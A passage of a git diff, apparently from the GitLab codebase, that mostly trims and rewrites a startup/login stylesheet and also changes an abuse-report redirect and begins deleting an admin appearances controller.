-.dropdown-menu li > a,
-.dropdown-menu li button {
- background: transparent;
- border: 0;
- border-radius: 0;
- box-shadow: none;
- display: block;
- font-weight: 400;
- position: relative;
- padding: 8px 12px;
- color: #303030;
- line-height: 16px;
- white-space: normal;
- overflow: hidden;
- text-align: left;
- width: 100%;
-}
-.dropdown-menu .divider {
- height: 1px;
- margin: 0.25rem 0;
- padding: 0;
- background-color: #dbdbdb;
-}
-.dropdown-menu .badge.badge-pill + span:not(.badge):not(.badge-pill) {
- margin-right: 40px;
-}
-.dropdown-select {
- width: 300px;
-}
-
-@media (max-width: 767.98px) {
- .dropdown-select {
- width: 100%;
- }
-}
-.dropdown-content {
- max-height: 252px;
- overflow-y: auto;
-}
-.dropdown-loading {
- position: absolute;
- top: 0;
- right: 0;
- bottom: 0;
- left: 0;
- display: none;
- z-index: 9;
- background-color: rgba(255, 255, 255, 0.6);
- font-size: 28px;
-}
-.dropdown-loading .fa {
- position: absolute;
- top: 50%;
- left: 50%;
- margin-top: -14px;
- margin-left: -14px;
-}
-
-@media (max-width: 575.98px) {
- .navbar-gitlab li.dropdown {
- position: static;
- }
- header.navbar-gitlab .dropdown .dropdown-menu {
- width: 100%;
- min-width: 100%;
- }
-}
-
-@media (max-width: 767.98px) {
- .dropdown-menu-toggle {
- width: 100%;
- }
-}
.flash-container {
margin: 0;
margin-bottom: 16px;
@@ -1232,8 +500,8 @@ table a code {
z-index: 1;
}
.flash-container.sticky {
- position: sticky;
position: -webkit-sticky;
+ position: sticky;
top: 48px;
z-index: 251;
}
@@ -1243,9 +511,6 @@ table a code {
.flash-container:empty {
margin: 0;
}
-textarea {
- resize: vertical;
-}
input {
border-radius: 0.25rem;
color: #303030;
@@ -1257,809 +522,58 @@ label {
label.label-bold {
font-weight: 600;
}
-.form-control, .search form {
+.form-control {
border-radius: 4px;
padding: 6px 10px;
}
-.form-control::placeholder, .search form::placeholder {
+.form-control::-ms-input-placeholder {
color: #868686;
}
-.gl-field-error {
- color: #dd2b0e;
- font-size: 0.875rem;
+.form-control::placeholder {
+ color: #868686;
}
-.gl-show-field-errors .form-control:not(textarea), .gl-show-field-errors .search form:not(textarea), .search .gl-show-field-errors form:not(textarea) {
+.gl-show-field-errors .form-control:not(textarea) {
height: 34px;
}
.gl-show-field-errors .gl-field-hint {
color: #303030;
}
-
-@media (max-width: 575.98px) {
- .remember-me .remember-me-checkbox {
- margin-top: 0;
- }
-}
-body.ui-indigo .navbar-gitlab {
- background-color: #292961;
-}
-body.ui-indigo .navbar-gitlab .navbar-collapse {
- color: #d1d1f0;
-}
-body.ui-indigo .navbar-gitlab .container-fluid .navbar-toggler {
- border-left: 1px solid #6868b9;
-}
-body.ui-indigo .navbar-gitlab .container-fluid .navbar-toggler svg {
- fill: #d1d1f0;
-}
-body.ui-indigo .navbar-gitlab .navbar-sub-nav > li.active > a,
-body.ui-indigo .navbar-gitlab .navbar-sub-nav > li.active > button, body.ui-indigo .navbar-gitlab .navbar-sub-nav > li.dropdown.show > a,
-body.ui-indigo .navbar-gitlab .navbar-sub-nav > li.dropdown.show > button,
-body.ui-indigo .navbar-gitlab .navbar-nav > li.active > a,
-body.ui-indigo .navbar-gitlab .navbar-nav > li.active > button,
-body.ui-indigo .navbar-gitlab .navbar-nav > li.dropdown.show > a,
-body.ui-indigo .navbar-gitlab .navbar-nav > li.dropdown.show > button {
- color: #292961;
- background-color: #fff;
-}
-body.ui-indigo .navbar-gitlab .navbar-sub-nav {
- color: #d1d1f0;
-}
-body.ui-indigo .navbar-gitlab .nav > li {
- color: #d1d1f0;
-}
-body.ui-indigo .navbar-gitlab .nav > li > a.header-user-dropdown-toggle .header-user-avatar {
- border-color: #d1d1f0;
-}
-body.ui-indigo .navbar-gitlab .nav > li.active > a,
-body.ui-indigo .navbar-gitlab .nav > li.dropdown.show > a {
- color: #292961;
- background-color: #fff;
-}
-body.ui-indigo .search form {
- background-color: rgba(209, 209, 240, 0.2);
-}
-body.ui-indigo .search .search-input::placeholder {
- color: rgba(209, 209, 240, 0.8);
-}
-body.ui-indigo .search .search-input-wrap .search-icon,
-body.ui-indigo .search .search-input-wrap .clear-icon {
- fill: rgba(209, 209, 240, 0.8);
-}
-body.ui-indigo .nav-sidebar li.active {
- box-shadow: inset 4px 0 0 #4b4ba3;
-}
-body.ui-indigo .nav-sidebar li.active > a {
- color: #393982;
-}
-body.ui-indigo .nav-sidebar li.active .nav-icon-container svg {
- fill: #393982;
-}
-body.ui-indigo .sidebar-top-level-items > li.active .badge.badge-pill {
- color: #393982;
-}
-body.ui-indigo .nav-links li.active a,
-body.ui-indigo .nav-links li a.active {
- border-bottom: 2px solid #6666c4;
-}
-body.ui-indigo .nav-links li.active a .badge.badge-pill,
-body.ui-indigo .nav-links li a.active .badge.badge-pill {
- font-weight: 600;
-}
-.navbar-gitlab {
- padding: 0 16px;
- z-index: 1000;
- margin-bottom: 0;
- min-height: 40px;
- border: 0;
- border-bottom: 1px solid #dbdbdb;
- position: fixed;
- top: 0;
- left: 0;
- right: 0;
- border-radius: 0;
-}
-.navbar-gitlab .logo-text {
- line-height: initial;
-}
-.navbar-gitlab .logo-text svg {
- width: 55px;
- height: 14px;
- margin: 0;
- fill: #fff;
-}
-.navbar-gitlab .close-icon {
- display: none;
-}
-.navbar-gitlab .header-content {
- width: 100%;
- display: flex;
- justify-content: space-between;
- position: relative;
- min-height: 40px;
- padding-left: 0;
-}
-.navbar-gitlab .header-content .title-container {
- display: flex;
- align-items: stretch;
- flex: 1 1 auto;
- padding-top: 0;
- overflow: visible;
-}
-.navbar-gitlab .header-content .title {
- padding-right: 0;
- color: currentColor;
- display: flex;
- position: relative;
- margin: 0;
- font-size: 18px;
- vertical-align: top;
- white-space: nowrap;
-}
-.navbar-gitlab .header-content .title img {
- height: 28px;
-}
-.navbar-gitlab .header-content .title img + .logo-text {
- margin-left: 8px;
-}
-.navbar-gitlab .header-content .title.wrap {
- white-space: normal;
-}
-.navbar-gitlab .header-content .title a {
- display: flex;
- align-items: center;
- padding: 2px 8px;
- margin: 5px 2px 5px -8px;
- border-radius: 4px;
-}
-.navbar-gitlab .header-content .dropdown.open > a {
- border-bottom-color: #fff;
-}
-.navbar-gitlab .header-content .navbar-collapse > ul.nav > li:not(.d-none) {
- margin: 0 2px;
-}
-.navbar-gitlab .navbar-collapse {
- flex: 0 0 auto;
- border-top: 0;
- padding: 0;
-}
-
-@media (max-width: 575.98px) {
- .navbar-gitlab .navbar-collapse {
- flex: 1 1 auto;
- }
-}
-.navbar-gitlab .navbar-collapse .nav {
- flex-wrap: nowrap;
-}
-
-@media (max-width: 575.98px) {
- .navbar-gitlab .navbar-collapse .nav > li:not(.d-none) a {
- margin-left: 0;
- }
-}
-.navbar-gitlab .container-fluid {
- padding: 0;
-}
-.navbar-gitlab .container-fluid .user-counter svg {
- margin-right: 3px;
-}
-.navbar-gitlab .container-fluid .navbar-toggler {
- position: relative;
- right: -10px;
- border-radius: 0;
- min-width: 45px;
- padding: 0;
- margin: 8px -7px 8px 0;
- font-size: 14px;
- text-align: center;
- color: currentColor;
-}
-
-@media (max-width: 575.98px) {
- .navbar-gitlab .container-fluid .navbar-nav {
- display: flex;
- padding-right: 10px;
- flex-direction: row;
- }
-}
-.navbar-gitlab .container-fluid .navbar-nav li .badge.badge-pill {
- box-shadow: none;
- font-weight: 600;
-}
-
-@media (max-width: 575.98px) {
- .navbar-gitlab .container-fluid .nav > li.header-user {
- padding-left: 10px;
- }
-}
-.navbar-gitlab .container-fluid .nav > li > a {
- will-change: color;
- margin: 4px 0;
- padding: 6px 8px;
- height: 32px;
-}
-
-@media (max-width: 575.98px) {
- .navbar-gitlab .container-fluid .nav > li > a {
- padding: 0;
- }
-}
-.navbar-gitlab .container-fluid .nav > li > a.header-user-dropdown-toggle {
- margin-left: 2px;
-}
-.navbar-gitlab .container-fluid .nav > li > a.header-user-dropdown-toggle .header-user-avatar {
- margin-right: 0;
-}
-.navbar-gitlab .container-fluid .nav > li .header-new-dropdown-toggle {
- margin-right: 0;
-}
-.navbar-sub-nav > li > a,
-.navbar-sub-nav > li > button,
-.navbar-nav > li > a,
-.navbar-nav > li > button {
- display: flex;
- align-items: center;
- justify-content: center;
- padding: 6px 8px;
- margin: 4px 2px;
- font-size: 12px;
- color: currentColor;
- border-radius: 4px;
- height: 32px;
- font-weight: 600;
-}
-.navbar-sub-nav > li > button,
-.navbar-nav > li > button {
- background: transparent;
- border: 0;
-}
-.navbar-sub-nav .dropdown-menu,
-.navbar-nav .dropdown-menu {
- position: absolute;
-}
-.navbar-sub-nav {
- display: flex;
- margin: 0 0 0 6px;
-}
-.caret-down,
-.btn .caret-down {
- top: 0;
- height: 11px;
- width: 11px;
- margin-left: 4px;
- fill: currentColor;
-}
-.header-user .dropdown-menu,
-.header-new .dropdown-menu {
- margin-top: 4px;
-}
-.btn-sign-in {
- background-color: #ebebfa;
- color: #292961;
- font-weight: 600;
- line-height: 18px;
- margin: 4px 0 4px 2px;
-}
-.title-container .badge.badge-pill,
-.navbar-nav .badge.badge-pill {
- position: inherit;
- font-weight: 400;
- margin-left: -6px;
- font-size: 11px;
- color: #fff;
- padding: 0 5px;
- line-height: 12px;
- border-radius: 7px;
- box-shadow: 0 1px 0 rgba(76, 78, 84, 0.2);
-}
-.title-container .badge.badge-pill.green-badge,
-.navbar-nav .badge.badge-pill.green-badge {
- background-color: #108548;
-}
-.title-container .badge.badge-pill.merge-requests-count,
-.navbar-nav .badge.badge-pill.merge-requests-count {
- background-color: #de7e00;
-}
-.title-container .badge.badge-pill.todos-count,
-.navbar-nav .badge.badge-pill.todos-count {
- background-color: #1f75cb;
-}
-.title-container .canary-badge .badge,
-.navbar-nav .canary-badge .badge {
- font-size: 12px;
- line-height: 16px;
- padding: 0 0.5rem;
-}
-
-@media (max-width: 575.98px) {
- .navbar-gitlab .container-fluid {
- font-size: 18px;
- }
- .navbar-gitlab .container-fluid .navbar-nav {
- table-layout: fixed;
- width: 100%;
- margin: 0;
- text-align: right;
- }
- .navbar-gitlab .container-fluid .navbar-collapse {
- margin-left: -8px;
- margin-right: -10px;
- }
- .navbar-gitlab .container-fluid .navbar-collapse .nav > li:not(.d-none) {
- flex: 1;
- }
- .header-user-dropdown-toggle {
- text-align: center;
- }
- .header-user-avatar {
- float: none;
- }
-}
-.header-user.show .dropdown-menu {
- margin-top: 4px;
- color: #303030;
- left: auto;
- max-height: 445px;
-}
-.header-user.show .dropdown-menu svg {
- vertical-align: text-top;
-}
-.header-user-avatar {
- float: left;
- margin-right: 5px;
- border-radius: 50%;
- border: 1px solid #f5f5f5;
-}
.navbar-empty {
justify-content: center;
height: 40px;
background: #fff;
border-bottom: 1px solid #f0f0f0;
}
-
-@media (max-width: 575.98px) {
- .nav-links > li > a .badge.badge-pill {
- display: none;
- }
-}
-
-@media (max-width: 575.98px) {
- .nav-links > li > a {
- margin-right: 3px;
- }
-}
-.media {
- display: flex;
- align-items: flex-start;
-}
-.card {
- margin-bottom: 16px;
-}
-.nav-links:not(.quick-links) {
- display: flex;
- padding: 0;
- margin: 0;
- list-style: none;
- height: auto;
- border-bottom: 1px solid #dbdbdb;
-}
-.content-wrapper {
- width: 100%;
-}
-.content-wrapper .container-fluid {
- padding: 0 16px;
-}
-
-@media (min-width: 768px) {
- .page-with-contextual-sidebar {
- padding-left: 50px;
- }
-}
-
-@media (min-width: 1200px) {
- .page-with-contextual-sidebar {
- padding-left: 220px;
- }
-}
-.context-header {
- position: relative;
- margin-right: 2px;
- width: 220px;
-}
-.context-header > a,
-.context-header > button {
- font-weight: 600;
- display: flex;
- width: 100%;
- align-items: center;
- padding: 10px 16px 10px 10px;
- color: #303030;
- background-color: transparent;
- border: 0;
- text-align: left;
-}
-.context-header .avatar-container {
- flex: 0 0 40px;
- background-color: #fff;
-}
-.context-header .sidebar-context-title {
- overflow: hidden;
- text-overflow: ellipsis;
-}
-.context-header .sidebar-context-title.text-secondary {
- font-weight: normal;
- font-size: 0.8em;
-}
-.nav-sidebar {
- position: fixed;
- z-index: 600;
- width: 220px;
- top: 40px;
- bottom: 0;
- left: 0;
- background-color: #fafafa;
- box-shadow: inset -1px 0 0 #dbdbdb;
- transform: translate3d(0, 0, 0);
-}
-
-@media (min-width: 576px) and (max-width: 576px) {
- .nav-sidebar:not(.sidebar-collapsed-desktop) {
- box-shadow: inset -1px 0 0 #dbdbdb, 2px 1px 3px rgba(0, 0, 0, 0.1);
- }
-}
-.nav-sidebar.sidebar-collapsed-desktop {
- width: 50px;
-}
-.nav-sidebar.sidebar-collapsed-desktop .nav-sidebar-inner-scroll {
- overflow-x: hidden;
-}
-.nav-sidebar.sidebar-collapsed-desktop .badge.badge-pill:not(.fly-out-badge),
-.nav-sidebar.sidebar-collapsed-desktop .sidebar-context-title,
-.nav-sidebar.sidebar-collapsed-desktop .nav-item-name {
- border: 0;
- clip: rect(0, 0, 0, 0);
- height: 1px;
- margin: -1px;
- overflow: hidden;
- padding: 0;
- position: absolute;
- white-space: nowrap;
- width: 1px;
-}
-.nav-sidebar.sidebar-collapsed-desktop .sidebar-top-level-items > li > a {
- min-height: 45px;
-}
-.nav-sidebar.sidebar-collapsed-desktop .fly-out-top-item {
- display: block;
-}
-.nav-sidebar.sidebar-collapsed-desktop .avatar-container {
- margin: 0 auto;
-}
-.nav-sidebar.sidebar-expanded-mobile {
- left: 0;
-}
-.nav-sidebar a {
- text-decoration: none;
-}
-.nav-sidebar ul {
- padding-left: 0;
- list-style: none;
-}
-.nav-sidebar li {
- white-space: nowrap;
-}
-.nav-sidebar li a {
- display: flex;
- align-items: center;
- padding: 12px 16px;
- color: #666;
-}
-.nav-sidebar li .nav-item-name {
- flex: 1;
-}
-.nav-sidebar li.active > a {
- font-weight: 600;
-}
-
-@media (max-width: 767.98px) {
- .nav-sidebar {
- left: -220px;
- }
-}
-.nav-sidebar .nav-icon-container {
- display: flex;
- margin-right: 8px;
-}
-.nav-sidebar .fly-out-top-item {
- display: none;
-}
-.nav-sidebar svg {
- height: 16px;
- width: 16px;
-}
-
-@media (min-width: 768px) and (max-width: 1199px) {
- .nav-sidebar:not(.sidebar-expanded-mobile) {
- width: 50px;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile) .nav-sidebar-inner-scroll {
- overflow-x: hidden;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile) .badge.badge-pill:not(.fly-out-badge),
- .nav-sidebar:not(.sidebar-expanded-mobile) .sidebar-context-title,
- .nav-sidebar:not(.sidebar-expanded-mobile) .nav-item-name {
- border: 0;
- clip: rect(0, 0, 0, 0);
- height: 1px;
- margin: -1px;
- overflow: hidden;
- padding: 0;
- position: absolute;
- white-space: nowrap;
- width: 1px;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile) .sidebar-top-level-items > li > a {
- min-height: 45px;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile) .fly-out-top-item {
- display: block;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile) .avatar-container {
- margin: 0 auto;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile) .context-header {
- height: 60px;
- width: 50px;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile) .context-header a {
- padding: 10px 4px;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile) .sidebar-top-level-items > li .sidebar-sub-level-items:not(.flyout-list) {
- display: none;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile) .nav-icon-container {
- margin-right: 0;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile) .toggle-sidebar-button {
- padding: 16px;
- width: 49px;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile) .toggle-sidebar-button .collapse-text,
- .nav-sidebar:not(.sidebar-expanded-mobile) .toggle-sidebar-button .icon-chevron-double-lg-left {
- display: none;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile) .toggle-sidebar-button .icon-chevron-double-lg-right {
- display: block;
- margin: 0;
- }
+.navbar-empty .tanuki-logo,
+.navbar-empty .brand-header-logo {
+ max-height: 100%;
}
-.nav-sidebar-inner-scroll {
- height: 100%;
- width: 100%;
- overflow: auto;
-}
-.sidebar-sub-level-items {
- display: none;
- padding-bottom: 8px;
+.tanuki-logo .tanuki-left-ear,
+.tanuki-logo .tanuki-right-ear,
+.tanuki-logo .tanuki-nose {
+ fill: #e24329;
}
-.sidebar-sub-level-items > li a {
- padding: 8px 16px 8px 40px;
+.tanuki-logo .tanuki-left-eye,
+.tanuki-logo .tanuki-right-eye {
+ fill: #fc6d26;
}
-.sidebar-top-level-items {
- margin-bottom: 60px;
-}
-
-@media (min-width: 576px) {
- .sidebar-top-level-items > li > a {
- margin-right: 1px;
- }
-}
-.sidebar-top-level-items > li .badge.badge-pill {
- background-color: rgba(0, 0, 0, 0.08);
- color: #666;
-}
-.sidebar-top-level-items > li.active {
- background: rgba(0, 0, 0, 0.04);
-}
-.sidebar-top-level-items > li.active > a {
- margin-left: 4px;
- padding-left: 12px;
-}
-.sidebar-top-level-items > li.active .badge.badge-pill {
- font-weight: 600;
-}
-.sidebar-top-level-items > li.active .sidebar-sub-level-items:not(.is-fly-out-only) {
- display: block;
-}
-.toggle-sidebar-button,
-.close-nav-button {
- width: 219px;
- position: fixed;
- height: 48px;
- bottom: 0;
- padding: 0 16px;
- background-color: #fafafa;
- border: 0;
- border-top: 1px solid #dbdbdb;
- color: #666;
- display: flex;
- align-items: center;
-}
-.toggle-sidebar-button svg,
-.close-nav-button svg {
- margin-right: 8px;
-}
-.toggle-sidebar-button .icon-chevron-double-lg-right,
-.close-nav-button .icon-chevron-double-lg-right {
- display: none;
-}
-.collapse-text {
- white-space: nowrap;
- overflow: hidden;
+.tanuki-logo .tanuki-left-cheek,
+.tanuki-logo .tanuki-right-cheek {
+ fill: #fca326;
}
-.sidebar-collapsed-desktop .context-header {
- height: 60px;
- width: 50px;
-}
-.sidebar-collapsed-desktop .context-header a {
- padding: 10px 4px;
-}
-.sidebar-collapsed-desktop .sidebar-top-level-items > li .sidebar-sub-level-items:not(.flyout-list) {
- display: none;
-}
-.sidebar-collapsed-desktop .nav-icon-container {
- margin-right: 0;
-}
-.sidebar-collapsed-desktop .toggle-sidebar-button {
- padding: 16px;
- width: 49px;
-}
-.sidebar-collapsed-desktop .toggle-sidebar-button .collapse-text,
-.sidebar-collapsed-desktop .toggle-sidebar-button .icon-chevron-double-lg-left {
- display: none;
-}
-.sidebar-collapsed-desktop .toggle-sidebar-button .icon-chevron-double-lg-right {
- display: block;
- margin: 0;
-}
-.fly-out-top-item > a {
- display: flex;
-}
-.fly-out-top-item .fly-out-badge {
- margin-left: 8px;
-}
-.fly-out-top-item-name {
- flex: 1;
-}
-.close-nav-button {
- display: none;
-}
-
-@media (max-width: 767.98px) {
- .close-nav-button {
- display: flex;
- }
- .toggle-sidebar-button {
- display: none;
- }
-}
-table.table {
- margin-bottom: 16px;
-}
-table.table .dropdown-menu a {
- text-decoration: none;
-}
-table.table .success,
-table.table .info {
- color: #fff;
-}
-table.table .success a:not(.btn),
-table.table .info a:not(.btn) {
- text-decoration: underline;
- color: #fff;
-}
-pre {
- font-family: "Menlo", "DejaVu Sans Mono", "Liberation Mono", "Consolas", "Ubuntu Mono", "Courier New", "andale mono", "lucida console", monospace;
- display: block;
- padding: 8px 12px;
- margin: 0 0 8px;
- font-size: 13px;
- word-break: break-all;
- word-wrap: break-word;
- color: #303030;
- background-color: #fafafa;
- border: 1px solid #dbdbdb;
- border-radius: 2px;
-}
-.monospace {
- font-family: "Menlo", "DejaVu Sans Mono", "Liberation Mono", "Consolas", "Ubuntu Mono", "Courier New", "andale mono", "lucida console", monospace;
-}
-input::-moz-placeholder,
-textarea::-moz-placeholder {
+input::-moz-placeholder {
color: #868686;
opacity: 1;
}
-input::-ms-input-placeholder,
-textarea::-ms-input-placeholder {
+input::-ms-input-placeholder {
color: #868686;
}
-input:-ms-input-placeholder,
-textarea:-ms-input-placeholder {
+input:-ms-input-placeholder {
color: #868686;
}
svg {
fill: currentColor;
}
-
-svg.s12 {
- width: 12px;
- height: 12px;
-}
-
-svg.s16 {
- width: 16px;
- height: 16px;
-}
-
-svg.s18 {
- width: 18px;
- height: 18px;
-}
-
-svg.s12 {
- vertical-align: -1px;
-}
-
-svg.s16 {
- vertical-align: -3px;
-}
-.sr-only {
- position: absolute;
- width: 1px;
- height: 1px;
- padding: 0;
- margin: -1px;
- overflow: hidden;
- clip: rect(0, 0, 0, 0);
- border: 0;
-}
-table.code {
- width: 100%;
- font-family: "Menlo", "DejaVu Sans Mono", "Liberation Mono", "Consolas", "Ubuntu Mono", "Courier New", "andale mono", "lucida console", monospace;
- border: 0;
- border-collapse: separate;
- margin: 0;
- padding: 0;
- table-layout: fixed;
- border-radius: 0 0 4px 4px;
-}
-.frame .badge.badge-pill {
- position: absolute;
- background-color: #428fdc;
- color: #fff;
- border: #fff 1px solid;
- min-height: 16px;
- padding: 5px 8px;
- border-radius: 12px;
-}
-.frame .badge.badge-pill {
- transform: translate(-50%, -50%);
-}
-.color-label {
- padding: 0 0.5rem;
- line-height: 16px;
- border-radius: 100px;
- color: #fff;
-}
-.label-link {
- display: inline-flex;
- vertical-align: text-bottom;
-}
-.label-link .label {
- vertical-align: inherit;
- font-size: 12px;
-}
.login-page .container {
max-width: 960px;
}
@@ -2096,6 +610,25 @@ table.code {
border-radius: 0.25rem;
padding: 15px;
}
+.login-page .login-box .login-heading h3,
+.login-page .omniauth-container .login-heading h3 {
+ font-weight: 400;
+ line-height: 1.5;
+ margin: 0 0 10px;
+}
+.login-page .login-box .login-footer,
+.login-page .omniauth-container .login-footer {
+ margin-top: 10px;
+}
+.login-page .login-box .login-footer p:last-child,
+.login-page .omniauth-container .login-footer p:last-child {
+ margin-bottom: 0;
+}
+.login-page .login-box a.forgot,
+.login-page .omniauth-container a.forgot {
+ float: right;
+ padding-top: 6px;
+}
.login-page .login-box .nav .active a,
.login-page .omniauth-container .nav .active a {
background: transparent;
@@ -2132,7 +665,6 @@ table.code {
background: none;
margin-bottom: 16px;
}
-
@media (max-width: 991.98px) {
.login-page .omniauth-container form {
width: 100%;
@@ -2140,7 +672,6 @@ table.code {
}
.login-page .omniauth-container .omniauth-btn {
width: 100%;
- padding: 8px;
}
.login-page .new-session-tabs {
display: flex;
@@ -2148,6 +679,19 @@ table.code {
border-top-right-radius: 4px;
border-top-left-radius: 4px;
}
+.login-page .new-session-tabs.custom-provider-tabs {
+ flex-wrap: wrap;
+}
+.login-page .new-session-tabs.custom-provider-tabs li {
+ min-width: 85px;
+ flex-basis: auto;
+}
+.login-page .new-session-tabs.custom-provider-tabs li:nth-child(n + 5) {
+ border-top: 1px solid #dbdbdb;
+}
+.login-page .new-session-tabs.custom-provider-tabs a {
+ font-size: 16px;
+}
.login-page .new-session-tabs li {
flex: 1;
text-align: center;
@@ -2170,17 +714,29 @@ table.code {
.login-page .new-session-tabs li.active > a {
cursor: default;
}
+.login-page .form-control:active,
+.login-page .form-control:focus {
+ background-color: #fff;
+}
.login-page .submit-container {
margin-top: 16px;
}
-.login-page input[type='submit'] {
+.login-page input[type="submit"] {
margin-bottom: 0;
+ display: block;
+ width: 100%;
}
.login-page .devise-errors h2 {
margin-top: 0;
font-size: 14px;
color: #ae1800;
}
+@media (max-width: 575.98px) {
+ .login-page .col-md-5.float-right {
+ float: none !important;
+ margin-bottom: 45px;
+ }
+}
.devise-layout-html {
margin: 0;
padding: 0;
@@ -2213,191 +769,57 @@ table.code {
.devise-layout-html body .navless-container {
padding: 65px 15px;
}
-
@media (max-width: 575.98px) {
.devise-layout-html body .navless-container {
padding: 0 15px 65px;
}
}
-.milestones {
- padding: 8px;
- margin-top: 8px;
- border-radius: 4px;
- background-color: #dbdbdb;
-}
-.search {
- margin: 0 8px;
-}
-.search form {
- margin: 0;
- padding: 4px;
- width: 200px;
- line-height: 24px;
- height: 32px;
- border: 0;
- border-radius: 4px;
-}
-
-@media (min-width: 1200px) {
- .search form {
- width: 320px;
- }
-}
-.search .search-input {
- border: 0;
- font-size: 14px;
- padding: 0 20px 0 0;
- margin-left: 5px;
- line-height: 25px;
- width: 98%;
- color: #fff;
- background: none;
-}
-.search .search-input-container {
- display: flex;
- position: relative;
-}
-.search .search-input-wrap {
- width: 100%;
-}
-.search .search-input-wrap .search-icon,
-.search .search-input-wrap .clear-icon {
- position: absolute;
- right: 5px;
- top: 4px;
-}
-.search .search-input-wrap .search-icon {
- -moz-user-select: none;
- user-select: none;
-}
-.search .search-input-wrap .clear-icon {
- display: none;
-}
-.search .search-input-wrap .dropdown {
- position: static;
-}
-.search .search-input-wrap .dropdown-menu {
- left: -5px;
- max-height: 400px;
- overflow: auto;
-}
-@media (min-width: 1200px) {
- .search .search-input-wrap .dropdown-menu {
- width: 320px;
- }
+.gl-border-solid {
+ border-style: solid;
}
-.search .search-input-wrap .dropdown-content {
- max-height: 382px;
-}
-.settings {
- border-top: 1px solid #dbdbdb;
-}
-.settings:first-of-type {
- margin-top: 10px;
- border: 0;
-}
-.settings + div .settings:first-of-type {
- margin-top: 0;
- border-top: 1px solid #dbdbdb;
-}
-.avatar, .avatar-container {
- float: left;
- margin-right: 16px;
- border-radius: 50%;
- border: 1px solid #f5f5f5;
-}
-.s16.avatar, .s16.avatar-container {
- width: 16px;
- height: 16px;
- margin-right: 8px;
-}
-.s18.avatar, .s18.avatar-container {
- width: 18px;
- height: 18px;
- margin-right: 8px;
-}
-.s40.avatar, .s40.avatar-container {
- width: 40px;
- height: 40px;
- margin-right: 8px;
+.gl-border-gray-100 {
+ border-color: #dbdbdb;
}
-.avatar {
- transition-property: none;
- width: 40px;
- height: 40px;
- padding: 0;
- background: #fdfdfd;
- overflow: hidden;
- border-color: rgba(0, 0, 0, 0.1);
+.gl-border-1 {
+ border-width: 1px;
}
-.avatar.center {
- font-size: 14px;
- line-height: 1.8em;
- text-align: center;
+.gl-rounded-base {
+ border-radius: 0.25rem;
}
-.avatar.avatar-tile {
- border-radius: 0;
- border: 0;
+.gl-text-green-600 {
+ color: #217645;
}
-.avatar-container {
- overflow: hidden;
- display: flex;
+.gl-text-red-500 {
+ color: #dd2b0e;
}
-.avatar-container a {
- width: 100%;
- height: 100%;
+.gl-display-flex {
display: flex;
- text-decoration: none;
-}
-.avatar-container .avatar {
- border-radius: 0;
- border: 0;
- height: auto;
- width: 100%;
- margin: 0;
- align-self: center;
-}
-.avatar-container.s40 {
- min-width: 40px;
- min-height: 40px;
-}
-.rect-avatar {
- border-radius: 2px;
}
-.rect-avatar.s16 {
- border-radius: 2px;
+.gl-align-items-center {
+ align-items: center;
}
-.rect-avatar.s18 {
- border-radius: 2px;
+.gl-p-2 {
+ padding: 0.25rem;
}
-.rect-avatar.s40 {
- border-radius: 4px;
+.gl-p-4 {
+ padding: 0.75rem;
}
-.tab-width-8 {
- -moz-tab-size: 8;
- tab-size: 8;
+.gl-mt-2 {
+ margin-top: 0.25rem;
}
-.gl-sr-only {
- border: 0;
- clip: rect(0, 0, 0, 0);
- height: 1px;
- margin: -1px;
- overflow: hidden;
- padding: 0;
- position: absolute;
- white-space: nowrap;
- width: 1px;
+.gl-mb-2 {
+ margin-bottom: 0.25rem;
}
-.gl-mt-5 {
- margin-top: 1rem;
+.gl-mb-3 {
+ margin-bottom: 0.5rem;
}
-.gl-ml-3 {
- margin-left: 0.5rem;
+.gl-mb-5 {
+ margin-bottom: 1rem;
}
-.content-wrapper > .alert-wrapper,
-#content-body, .modal-dialog {
- display: block;
+.gl-text-left {
+ text-align: left;
}
-@import 'cloaking';
+
+@import "startup/cloaking";
@include cloak-startup-scss(none);
diff --git a/app/assets/stylesheets/themes/theme_helper.scss b/app/assets/stylesheets/themes/theme_helper.scss
index 5b3e2ab4cd0..6a60978b954 100644
--- a/app/assets/stylesheets/themes/theme_helper.scss
+++ b/app/assets/stylesheets/themes/theme_helper.scss
@@ -22,10 +22,7 @@
.container-fluid {
.navbar-toggler {
border-left: 1px solid lighten($border-and-box-shadow, 10%);
-
- svg {
- fill: $search-and-nav-links;
- }
+ color: $search-and-nav-links;
}
}
diff --git a/app/assets/stylesheets/utilities.scss b/app/assets/stylesheets/utilities.scss
index c22a1ae1187..cabbe5834cb 100644
--- a/app/assets/stylesheets/utilities.scss
+++ b/app/assets/stylesheets/utilities.scss
@@ -77,13 +77,6 @@
// https://gitlab.com/groups/gitlab-org/-/epics/2882
.gl-h-200\! { height: px-to-rem($grid-size * 25) !important; }
-.d-sm-table-column {
- @include media-breakpoint-up(sm) {
- display: table-column !important;
- }
-}
-
-.gl-text-purple { color: $purple; }
.gl-bg-purple-light { background-color: $purple-light; }
// move this to GitLab UI once onboarding experiment is considered a success
diff --git a/app/controllers/abuse_reports_controller.rb b/app/controllers/abuse_reports_controller.rb
index 5e613c47fc5..9d1c68eea89 100644
--- a/app/controllers/abuse_reports_controller.rb
+++ b/app/controllers/abuse_reports_controller.rb
@@ -19,7 +19,7 @@ class AbuseReportsController < ApplicationController
@abuse_report.notify
message = _("Thank you for your report. A GitLab administrator will look into it shortly.")
- redirect_to @abuse_report.user, notice: message
+ redirect_to root_path, notice: message
else
render :new
end
diff --git a/app/controllers/admin/appearances_controller.rb b/app/controllers/admin/appearances_controller.rb
deleted file mode 100644
index c2614a158b7..00000000000
--- a/app/controllers/admin/appearances_controller.rb
+++ /dev/null
@@ -1,87 +0,0 @@
-# frozen_string_literal: true
-
-class Admin::AppearancesController < Admin::ApplicationController
- before_action :set_appearance, except: :create
-
- feature_category :navigation
-
- def show
- end
-
- def preview_sign_in
- render 'preview_sign_in', layout: 'devise'
- end
-
- def create
- @appearance = Appearance.new(appearance_params)
-
- if @appearance.save
- redirect_to admin_appearances_path, notice: _('Appearance was successfully created.')
